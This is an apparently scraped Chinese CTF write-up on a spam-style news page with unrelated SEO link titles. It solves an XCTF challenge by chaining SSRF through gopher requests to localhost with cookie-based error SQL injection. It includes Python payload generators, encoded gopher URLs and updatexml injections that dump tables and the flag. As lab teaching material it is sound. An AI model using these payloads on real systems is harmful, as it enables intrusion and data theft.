当前位置: 首页 > news >正文

青岛做教育的网站重庆电子商务seo

青岛做教育的网站,重庆电子商务seo,给企业做网站公司,python网站开发源码关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客 0x01:考点速览 本关考察的是 SSRF 漏洞,需要我们结合 Gopher 协议利用服务端进行越权 SQL 注入。考点不少,总结一下主要有以下几点…

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:考点速览

本关考察的是 SSRF 漏洞,需要我们结合 Gopher 协议利用服务端进行越权 SQL 注入。考点不少,总结一下主要有以下几点:

  • SSRF 漏洞 —— Gopher 协议的使用

  • HTTP 请求包转换为 Gopher 请求包

  • SQL 注入 —— Cookie 注入

0x02:Write UP

进入靶场,是一个登录框,下面一行提示的字符 “you are not an inner user, so we can not let you have identify~” ,既然考点是 SQL 注入,我们尝试输入一些东西,看看能不能触发漏洞:

OK,没有任何提示,打开抓包工具,重放请求包,我们可以注意到如下两点:

一个是显示我们的 Cookie 被消除了,另外一个是一个 use.php 的页面,我们在靶场链接后拼接 /use.php 进入该页面:

“url you want to curl”,我们知道 curl 命令是用来对服务器发起请求的。联想到靶场首页的提示 “you are not an inner user, so we can not let you have identify~” —— 你不是内部用户,所以我们不能让你拥有身份。

我们大致可以确定攻击方向,利用 use.php 页面中的 curl 命令进行 SSRF 攻击,攻击的目标就是靶场首页的登录框。

确定了思路,下面就开始实施吧,这里需要拓展一个 Gopher 协议,协议的简介如下:

我们现在靶场首页的登录框中,随便输入一组用户名加密码,点击 Submit,并抓取 POST 请求包,我抓取的内容如下:

 POST / HTTP/1.1Host: 61.147.171.105:65176Content-Length: 20Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://61.147.171.105:65176Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://61.147.171.105:65176/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=78dp0ee6kimm21f8ik5eua4431Connection: closeuname=123&passwd=123

而我们构造 Gopher 请求包其实用不了这么多数据,精简后的请求包如下:

 POST / HTTP/1.1Host: 61.147.171.105:65176Content-Length: 20Content-Type: application/x-www-form-urlencodeduname=123&passwd=123

下面继续深入思考一下,我们是利用目标靶场的 use.php 页面发起的请求,所以对于 use.php 而言,靶场首页的登录框,对他而言其实应该是在本地的,所以我们这里的 HOST 需要改为 127.0.0.1:80

下面就是将更改后的请求包转换为 Gopher 协议的请求了,当然,同上,我们请求的目标 IP 地址和端口也是 127.0.0.1:80,转换的 Python 代码如下:

 import urllib.parsehost = "127.0.0.1:80"payload = "uname=123&passwd=123" # 请求包中的 payloadtemplate = """\POST / HTTP/1.1Host: {}Content-Length: {}Content-Type: application/x-www-form-urlencoded{}""".format(host, len(payload), payload)def gopher_data(string):""":param string: 待转换的请求包:return:"""encode_result = urllib.parse.quote(string)  # 进行 url 编码# 回车 \n -> url 编码后 -> %0A -> 将 %0A 替换为 %0D%0A; 数据包模板末尾有一个换行,就不用额外添加 %0D%0A 了return "gopher://{}/_{}".format(host, encode_result.replace("%0A","%0D%0A"))​print(gopher_data(template))

输出的 Payload 如下:

 gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2020%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Auname%3D123%26passwd%3D123%0D%0A

将 Payload 黏贴到 use.php 中,并点击 submit 可以看到我们成功请求了目标网页,并且还有返回信息:

这里我们将请求包中的 uname 和 passwd 替换为弱口令 admin,再次生成 Payload 后发起请求,可以看到如下内容:

 gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2024%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Auname%3Dadmin%26passwd%3Dadmin%0D%0A

OK,熟悉的 “this_is_your_cookie”,不同之前的 “delete”,这次请求算是成功了,我们将该 Cookie 的值复制一下,进行一下解码:

再联想一下 SQL 注入,注入点这不就出来了,既然注入点在 Cookie 这里,那携带 Payload 其实也不需要了(Payload 本来就是为了去后端查表,验证用户是否是正规用户的,Cookie 也有这个作用)。

所以,修改后的请求包模板如下:

 POST / HTTP/1.1Host: {}Content-Length: 0Content-Type: application/x-www-form-urlencodedCookie: this_is_your_cookie={}

相应的,生成攻击载荷的代码如下:

 
import base64import urllib.parsehost = "127.0.0.1:80"template = """\POST / HTTP/1.1Host: {}Content-Length: 0Content-Type: application/x-www-form-urlencodedCookie: this_is_your_cookie={}"""​def gopher_data(string):""":param string: 待转换的请求包:return:"""encode_result = urllib.parse.quote(string)  # 进行 url 编码# 回车 \n -> url 编码后 -> %0A -> 将 %0A 替换为 %0D%0A; 数据包模板末尾有一个换行,就不用额外添加 %0D%0A 了return "gopher://{}/_{}".format(host, encode_result.replace("%0A","%0D%0A"))def create_payload(payload):global templatepayload = base64.b64encode(payload.encode('utf-8')).decode('utf-8') # 对 Payload 进行 Base64 编码template = template.format("host",payload)return gopher_data(template)if __name__ == "__main__":payload = input("Input Payload: ")print(create_payload(payload))

利用此脚本,即可生成对应的 gopher 协议脚本,比如,我们测试用户名为 admin'

 Input Payload: admin'gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20host%0D%0AContent-Length%3A%200%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4n%0D%0A

探测出后端的 SQL 攻击模板为:

 admin') 攻击代码 #

而且既然它会报错,那我们直接使用报错注入即可,下面我就简单的写一下测试的 SQL 语句,具体的 Payload 拿上面的 Python 脚本即可生成:

 获取当前数据库中存在的表名:Input Payload: admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #关键报错:Issue with your mysql: XPATH syntax error: '~emails,flag,referers,uagents,us' -> 提取关键信息: flag 表获取 flag 表中的字段名:Input Payload: admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"),0x7e),1) #关键报错:Issue with your mysql: XPATH syntax error: '~flag~'获取 flag 表中的 flag 字段的所有信息:Input Payload: admin') and updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1) #关键报错:Issue with your mysql: XPATH syntax error: '~cyberpeace{a0e9c720fecbd276d9f6'获取 flag 剩余内容,使用 mid 进行截取:Input Payload: admin') and updatexml(1,concat(0x7e,(select mid(group_concat(flag),20,50) from flag),0x7e),1) #关键报错:Issue with your mysql: XPATH syntax error: '~fecbd276d9f611e262249a87}~'拼接后的 flag:cyberpeace{a0e9c720fecbd276d9f611e262249a87}

0x03:参考链接

SSRF利用协议中的万金油——Gopher_dict协议-CSDN博客文章浏览阅读4.5k次,点赞7次,收藏38次。SSRF利用协议中的万金油——Gopher_dict协议https://blog.csdn.net/qq_50854662/article/details/129180268
SSRF防护绕过思路与Gopher利用浅析 - 先知社区先知社区,先知安全技术社区https://xz.aliyun.com/t/14086?time__1311=mqmx9DBG0QYxyDBqDTeeuut5LhENWYD&alichlgref=https%3A%2F%2Fcn.bing.com%2F
http://www.yayakq.cn/news/612574/

相关文章:

  • 最简单的做网站织梦可以做移动网站吗
  • 手表网站量体定制
  • 做视频网站赚钱嘛周村家具行业网站建设
  • wordpress漫画站谷歌代理
  • 快设计网站官网网络销售网站有哪些
  • 个人网站logo设计公司网页设计报告5000字
  • 佳木斯城乡建设局网站上海网站开发运营
  • 怎么推广我的网站免费做app页面的网站
  • 网站建设需要什么语言thinkphp 网站开发
  • 好的网站和网页有哪些网页设计课程总结500字
  • 昆山市住房城乡建设局网站男女做那个网站动态图片
  • 如何建设一个网站网页专科网页设计实训报告
  • 可遇公寓网站哪个公司做的不会做网站如何做seo
  • 如何在谷歌做网站外链怎么做网站前端
  • 最火的网页游戏排行正规seo关键词排名哪家专业
  • 企业为什么要建站点呢做网站和做系统哪个难
  • 收费网站模板莱芜金点子信息港最新招聘
  • 中山建网站费用多少如何申请企业域名
  • 怎么建设网站zy258重庆市区旅游必去景点
  • 缪斯设计网站即墨网站开发
  • 农业网站模板免费下载jsp网站开发实现增删改查
  • 做招生网站网站建设公司新排行榜
  • 济宁网站开发平台网络平台建设授权书实名认证
  • 自己做盗版小说网站吗建设银行 钓鱼网站
  • 广东的网站建设山东高端网站设计
  • 京东网站设计代码做网站的工具 论坛
  • 北京诚信建设网站网站开发进度计划书
  • 建设银行网站修改预留手机号上海装饰公司网站建设
  • 中国网站有哪些公司网页游戏交易平台有哪些
  • 网站培训视频重庆最近的新闻大事10条